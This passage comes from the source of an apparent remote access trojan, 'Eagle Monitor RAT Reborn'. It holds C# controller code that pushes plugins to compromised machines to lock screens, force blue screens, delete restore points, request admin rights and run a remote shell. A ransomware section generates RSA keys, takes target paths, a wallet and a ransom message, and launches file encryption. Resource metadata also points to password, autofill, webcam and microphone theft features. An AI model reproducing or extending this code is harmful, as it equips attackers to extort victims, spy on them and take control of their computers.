(this.blockMouseGuna2CheckBox.Checked)\n            {\n                miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_OFF)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Hardware.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n            }\n            else\n            {\n                miscellaneousPacket = new MiscellaneousPacket(PacketType.HDW_MS_ON)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Hardware.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n            }\n        }\n        #endregion\n        #region \"UI\"\n        private void rotateScreenGuna2Button_Click(object sender, EventArgs e)\n        {\n            ScreenRotationPacket screenRotationPacket = new ScreenRotationPacket(degreesGuna2ComboBox.Text)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Miscellaneous.dll\"), 1)\n            };\n            ClientHandler.StartSendData(ClientHandler, screenRotationPacket);\n        }\n        private void wallpaperGuna2Button_Click(object sender, EventArgs e)\n        {\n            using (OpenFileDialog ofd = new OpenFileDialog())\n            {\n                if (ofd.ShowDialog() == DialogResult.OK)\n                {\n                    string ext = new FileInfo(ofd.FileName).Extension;\n                    WallPaperPacket wallPaperPacket = new WallPaperPacket(Compressor.QuickLZ.Compress(File.ReadAllBytes(ofd.FileName), 1), ext)\n                    {\n                        Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Miscellaneous.dll\"), 1)\n                    };\n                    ClientHandler.StartSendData(ClientHandler, wallPaperPacket);\n                }\n            }\n        }\n\n        private void showTaskbarGuna2Button_Click(object sender, EventArgs e)\n        {\n            MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_TASKBAR)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Miscellaneous.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n        }\n\n        private void showDesktopIconsGuna2Button_Click(object sender, EventArgs e)\n        {\n            MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SHOW_DESKTOP_ICONS)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Miscellaneous.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n        }\n\n        private void hideTaskbarGuna2Button_Click(object sender, EventArgs e)\n        {\n            MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_TASKBAR)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Miscellaneous.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n        }\n\n        private void hideDesktopIconsGuna2Button_Click(object sender, EventArgs e)\n        {\n            MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_HIDE_DESKTOP_ICONS)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Miscellaneous.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n        }\n        private void screenlockerGuna2CheckBox_CheckedChanged(object sender, EventArgs e)\n        {\n            MiscellaneousPacket miscellaneousPacket;\n            if (this.screenlockerGuna2CheckBox.Checked)\n            {\n                miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_ON)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\ScreenLocker.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n            }\n            else\n            {\n                miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_SCREENLOCKER_OFF)\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\ScreenLocker.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n            }\n        }\n        #endregion\n        #region \"Audio\"\n        private void volumeUpGuna2Button_Click(object sender, EventArgs e)\n        {\n            MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_UP)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Miscellaneous.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n        }\n\n        private void volumeDownGuna2Button_Click(object sender, EventArgs e)\n        {\n            MiscellaneousPacket miscellaneousPacket = new MiscellaneousPacket(PacketType.MISC_AUDIO_DOWN)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Miscellaneous.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, miscellaneousPacket);\n        }\n        #endregion\n        #region \"Web\"\n        private void linkWebGuna2Button_Click(object sender, EventArgs e)\n        {\n            OpenUrlPacket openUrlPacket = new OpenUrlPacket(linkWebGuna2TextBox.Text)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Miscellaneous.dll\"), 1)\n            };\n            ClientHandler.StartSendData(ClientHandler, openUrlPacket);\n        }\n        #endregion\n        #region \"Power\"\n        private void setPowerGuna2Button_Click(object sender, EventArgs e)\n        {\n            PowerPacket powerPacket;\n            switch (powerStateGuna2ComboBox.SelectedIndex)\n            {\n                case 0:\n                    powerPacket = new PowerPacket(PacketType.POWER_SHUTDOWN);\n                    break;\n\n                case 1:\n                    powerPacket = new PowerPacket(PacketType.POWER_REBOOT);\n                    break;\n\n                case 2:\n                    powerPacket = new PowerPacket(PacketType.POWER_LOG_OUT);\n                    break;\n\n                case 3:\n                    powerPacket = new PowerPacket(PacketType.POWER_BSOD);\n                    break;\n\n                case 4:\n                    powerPacket = new PowerPacket(PacketType.POWER_LOCK_WORKSTATION);\n                    break;\n\n                case 5:\n                    powerPacket = new PowerPacket(PacketType.POWER_HIBERNATE);\n                    break;\n\n                case 6:\n                    powerPacket = new PowerPacket(PacketType.POWER_SUSPEND);\n                    break;\n\n                default:\n                    return;\n            }\n            powerPacket.Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\PowerManager.dll\"), 1);\n            ClientHandler.StartSendData(this.ClientHandler, powerPacket);\n        }\n        #endregion\n        #endregion\n        #region \"UAC\"\n        #region \"Restore Points\"\n        private void refreshRestorePointToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            RestorePointPacket restorePointPacket = new RestorePointPacket\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Admin.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, restorePointPacket);\n        }\n\n        private void deleteRestorePointToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow selected in this.restorePointDataGridView.SelectedRows)\n            {\n                DeleteRestorePointPacket deleteRestorePointPacket = new DeleteRestorePointPacket(int.Parse(selected.Cells[0].Value.ToString()))\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Admin.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.ClientHandler, deleteRestorePointPacket);\n            }\n        }\n        #endregion\n        private void askUACGuna2Button_Click(object sender, EventArgs e)\n        {\n            if (!this.ClientHandler.IsAdmin)\n            {\n                AskAdminRightsPacket askAdminRightsPacket = new AskAdminRightsPacket\n                {\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Miscellaneous.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.ClientHandler, askAdminRightsPacket);\n            }\n        }\n        #endregion\n        #region \"Ransomware\"\n        private void removePathToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow pathAffected in this.pathRansomwareDataGridView.SelectedRows)\n            {\n                this.pathRansomwareDataGridView.Rows.RemoveAt(pathAffected.Index);\n            }\n        }\n\n        private void addExtensionToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            string newExt = Interaction.InputBox(\"New extension (without '.') :\");\n\n            int rowId = this.pathRansomwareDataGridView.Rows.Add();\n\n            DataGridViewRow row = this.pathRansomwareDataGridView.Rows[rowId];\n\n            row.Cells[\"Column47\"].Value = newExt;\n        }\n\n        private void removeExtensionToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow pathAffected in this.pathRansomwareDataGridView.SelectedRows)\n            {\n                this.extensionRansomwareDataGridView.Rows.RemoveAt(pathAffected.Index);\n            }\n        }\n\n        private void removeToolStripMenuItem_Click(object sender, EventArgs e)\n        {\n            foreach (DataGridViewRow nativePE in this.pathRansomwareDataGridView.SelectedRows)\n            {\n                this.pathRansomwareDataGridView.Rows.RemoveAt(nativePE.Index);\n            }\n        }\n\n        private void generateRSAKeyGuna2Button_Click(object sender, EventArgs e)\n        {\n            if (File.Exists(this.ClientHandler.ClientPath + \"\\\\Ransomware\\\\encryption.json\"))\n            {\n                DialogResult r = MessageBox.Show(\"You are going to re-generate RSA keys pair for client, are you sure ?\", \"Warning\", MessageBoxButtons.YesNo, MessageBoxIcon.Warning);\n                if (r.Equals(DialogResult.Yes))\n                {\n                    Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject<Misc.EncryptionInformation>(File.ReadAllText(ClientHandler.ClientPath + \"\\\\Ransomware\\\\encryption.json\"));\n                    Dictionary<string, string> rsaKey = Misc.Encryption.GetKey();\n                    encryptionInformation.publicRSAServerKey = rsaKey[\"PublicKey\"];\n                    encryptionInformation.privateRSAServerKey = rsaKey[\"PrivateKey\"];\n\n                    string rsa = JsonConvert.SerializeObject(encryptionInformation);\n                    File.WriteAllText(this.ClientHandler.ClientPath + \"\\\\Ransomware\\\\encryption.json\", rsa);\n                    this.ClientHandler.EncryptionInformation = encryptionInformation;\n                }\n                return;\n            }\n        }\n\n        private void startEncryptionGuna2Button_Click(object sender, EventArgs e)\n        {\n            List<string> paths = new List<string>();\n\n            foreach (DataGridViewRow row in pathRansomwareDataGridView.Rows)\n            {\n                paths.Add(row.Cells[0].Value.ToString());\n            }\n\n\n            List<string> extensions = new List<string>();\n\n            foreach (DataGridViewRow ext in extensionRansomwareDataGridView.Rows)\n            {\n                extensions.Add(ext.Cells[0].Value.ToString());\n            }\n\n            Misc.EncryptionInformation encryptionInformation = JsonConvert.DeserializeObject<Misc.EncryptionInformation>(File.ReadAllText(ClientHandler.ClientPath + \"\\\\Ransomware\\\\encryption.json\"));\n            encryptionInformation.wallet = walletGuna2TextBox.Text;\n            encryptionInformation.msg = msgRansomwareGuna2TextBox.Text;\n            encryptionInformation.paths = paths;\n            encryptionInformation.extensionFile = extensions;\n\n            encryptionInformation.checkExtensions = checkExtensionsGuna2CheckBox.Checked;\n            encryptionInformation.subfolders = subDirectoriesGuna2CheckBox.Checked;\n\n            string newInformation = JsonConvert.SerializeObject(encryptionInformation);\n            File.WriteAllText(this.ClientHandler.ClientPath + \"\\\\Ransomware\\\\encryption.json\", newInformation);\n            this.ClientHandler.EncryptionInformation = encryptionInformation;\n\n            RansomwareEncryptionPacket ransomwareEncryptionPacket = new RansomwareEncryptionPacket(this.ClientHandler.EncryptionInformation.publicRSAServerKey, this.ClientHandler.EncryptionInformation.paths, this.ClientHandler.EncryptionInformation.subfolders, this.ClientHandler.EncryptionInformation.checkExtensions)\n            {\n                Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Ransomware.dll\"), 1),\n                msg = this.msgRansomwareGuna2TextBox.Text,\n                wallet = this.walletGuna2TextBox.Text\n            };\n            ClientHandler.StartSendData(this.ClientHandler, ransomwareEncryptionPacket);\n        }\n\n        private void startDecryptionGuna2Button_Click(object sender, EventArgs e)\n        {\n            RansomwareDecryptionPacket ransomwareDecryptionPacket = new RansomwareDecryptionPacket(this.ClientHandler.EncryptionInformation.privateRSAServerKey)\n            {\n                Plugin = PacketLib.Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\Ransomware.dll\"), 1)\n            };\n            ClientHandler.StartSendData(this.ClientHandler, ransomwareDecryptionPacket);\n        }\n        #endregion\n        #region \"Shell\"\n        private void remoteShellGuna2Button_Click(object sender, EventArgs e)\n        {\n            if (this.remoteShellGuna2Button.Text == \"Start Session\")\n            {\n                this.RemoteShellHandler = new RemoteShellHandler();\n                StartShellSessionPacket startShellSessionPacket = new StartShellSessionPacket(remoteShellGuna2ToggleSwitch.Checked)\n                {\n                    BaseIp = this.ClientHandler.IP,\n                    HWID = this.ClientHandler.HWID,\n                    Plugin = Compressor.QuickLZ.Compress(File.ReadAllBytes(Misc.Utils.GPath + \"\\\\Plugins\\\\RemoteShell.dll\"), 1)\n                };\n                ClientHandler.StartSendData(this.ClientHandler, startShellSessionPacket);\n                this.remoteShellGuna2Button.Text = \"Stop Session\";\n            }\n            else \n            {\n                if (ClientHandler != null)\n                {\n                    StopShellSessionPacket stopShellSessionPacket = new StopShellSessionPacket()\n                    {\n                        BaseIp = this.ClientHandler.IP,\n                        HWID = this.ClientHandler.HWID\n                    };\n                    ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, stopShellSessionPacket);\n\n                    this.remoteShellGuna2ToggleSwitch.Enabled = true;\n                    this.remoteShellGuna2TextBox.Enabled = false;\n                }\n                this.remoteShellGuna2Button.Text = \"Start Session\";\n            }\n        }\n\n        private void remoteShellGuna2TextBox_KeyDown(object sender, KeyEventArgs e)\n        {\n            if (e.KeyCode == Keys.Enter && !string.IsNullOrEmpty(this.remoteShellGuna2TextBox.Text.Trim()))\n            {\n                string input = this.remoteShellGuna2TextBox.Text.TrimStart(' ', ' ').TrimEnd(' ', ' ');\n                this.remoteShellGuna2TextBox.Text = string.Empty;\n\n                switch (input)\n                {\n                    case \"cls\":\n                        this.remoteShellStdOutRichTextBox.Text = string.Empty;\n                        break;\n                    default:\n                        NewCommandShellSessionPacket newCommandShellSessionPacket = new NewCommandShellSessionPacket(input)\n                        {\n                            BaseIp = this.ClientHandler.IP,\n                            HWID = this.ClientHandler.HWID\n                        };\n                        ClientHandler.StartSendData(this.RemoteShellHandler.ClientHandler, newCommandShellSessionPacket);\n                        break;\n                }\n\n                e.Handled = true;\n                e.SuppressKeyPress = true;\n            }\n        }\n\n        private void remoteShellStdOutRichTextBox_TextChanged(object sender, EventArgs e)\n        {\n            Misc.Imports.SendMessage(this.remoteShellStdOutRichTextBox.Handle, Misc.Imports.WM_VSCROLL, Misc.Imports.SB_PAGEBOTTOM, IntPtr.Zero);\n        }\n        #endregion\n        private void mainGuna2TabControl_SelectedIndexChanged(object sender, EventArgs e)\n        {\n            switch (mainGuna2TabControl.SelectedIndex) \n            {\n                case 6:\n                    MessageBox.Show(\"This module is in beta, use it carefully !\", \"Eagle Monitor\", MessageBoxButtons.OK, MessageBoxIcon.Warning);\n                    break;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "Remote Access Tool/Eagle Monitor RAT Reborn/Controls/ClientForm.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<root>\n  <!-- \n    Microsoft ResX Schema \n    \n    Version 2.0\n    \n    The primary goals of this format is to allow a simple XML format \n    that is mostly human readable. The generation and parsing of the \n    various data types are done through the TypeConverter classes \n    associated with the data types.\n    \n    Example:\n    \n    ... ado.net/XML headers & schema ...\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\n    <resheader name=\"version\">2.0</resheader>\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\n    </data>\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\n        <comment>This is a comment</comment>\n    </data>\n                \n    There are any number of \"resheader\" rows that contain simple \n    name/value pairs.\n    \n    Each data row contains a name, and value. The row also contains a \n    type or mimetype. Type corresponds to a .NET class that support \n    text/value conversion through the TypeConverter architecture. \n    Classes that don't support this are serialized and stored with the \n    mimetype set.\n    \n    The mimetype is used for serialized objects, and tells the \n    ResXResourceReader how to depersist the object. This is currently not \n    extensible. For a given mimetype the value must be set accordingly:\n    \n    Note - application/x-microsoft.net.object.binary.base64 is the format \n    that the ResXResourceWriter will generate, however the reader can \n    read any of the formats listed below.\n    \n    mimetype: application/x-microsoft.net.object.binary.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\n            : and then encoded with base64 encoding.\n    \n    mimetype: application/x-microsoft.net.object.soap.base64\n    value   : The object must be serialized with \n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\n            : and then encoded with base64 encoding.\n\n    mimetype: application/x-microsoft.net.object.bytearray.base64\n    value   : The object must be serialized into a byte array \n            : using a System.ComponentModel.TypeConverter\n            : and then encoded with base64 encoding.\n    -->\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\n      <xsd:complexType>\n        <xsd:choice maxOccurs=\"unbounded\">\n          <xsd:element name=\"metadata\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"assembly\">\n            <xsd:complexType>\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"data\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\n              <xsd:attribute ref=\"xml:space\" />\n            </xsd:complexType>\n          </xsd:element>\n          <xsd:element name=\"resheader\">\n            <xsd:complexType>\n              <xsd:sequence>\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\n              </xsd:sequence>\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\n            </xsd:complexType>\n          </xsd:element>\n        </xsd:choice>\n      </xsd:complexType>\n    </xsd:element>\n  </xsd:schema>\n  <resheader name=\"resmimetype\">\n    <value>text/microsoft-resx</value>\n  </resheader>\n  <resheader name=\"version\">\n    <value>2.0</value>\n  </resheader>\n  <resheader name=\"reader\">\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <resheader name=\"writer\">\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\n  </resheader>\n  <metadata name=\"Column1.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column2.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column3.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column4.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"passwordContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>17, 17</value>\n  </metadata>\n  <metadata name=\"Column5.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column6.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column7.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column8.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column9.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"historyContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>211, 22</value>\n  </metadata>\n  <metadata name=\"Column21.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column22.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column23.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column24.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column25.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"autofillContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>1005, 17</value>\n  </metadata>\n  <metadata name=\"Column26.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column27.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"keywordsContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>1210, 19</value>\n  </metadata>\n  <metadata name=\"Column11.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column12.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column13.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column14.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"fileManagerContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>434, 15</value>\n  </metadata>\n  <metadata name=\"shortcutContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>631, 15</value>\n  </metadata>\n  <metadata name=\"fileContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>641, 58</value>\n  </metadata>\n  <metadata name=\"directoryContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>647, 95</value>\n  </metadata>\n  <metadata name=\"Column28.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column29.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column30.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column10.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"downloadContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>813, 56</value>\n  </metadata>\n  <metadata name=\"Column15.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column16.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column17.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column18.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column19.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"Column20.UserAddedColumn\" type=\"System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">\n    <value>True</value>\n  </metadata>\n  <metadata name=\"processContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>814, 17</value>\n  </metadata>\n  <metadata name=\"remoteDesktopContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>208, 56</value>\n  </metadata>\n  <metadata name=\"webCamContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>17, 56</value>\n  </metadata>\n  <metadata name=\"microphoneContextMenuStrip.TrayLocation\" type=\"System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\">\n    <value>431, 58</value>\n  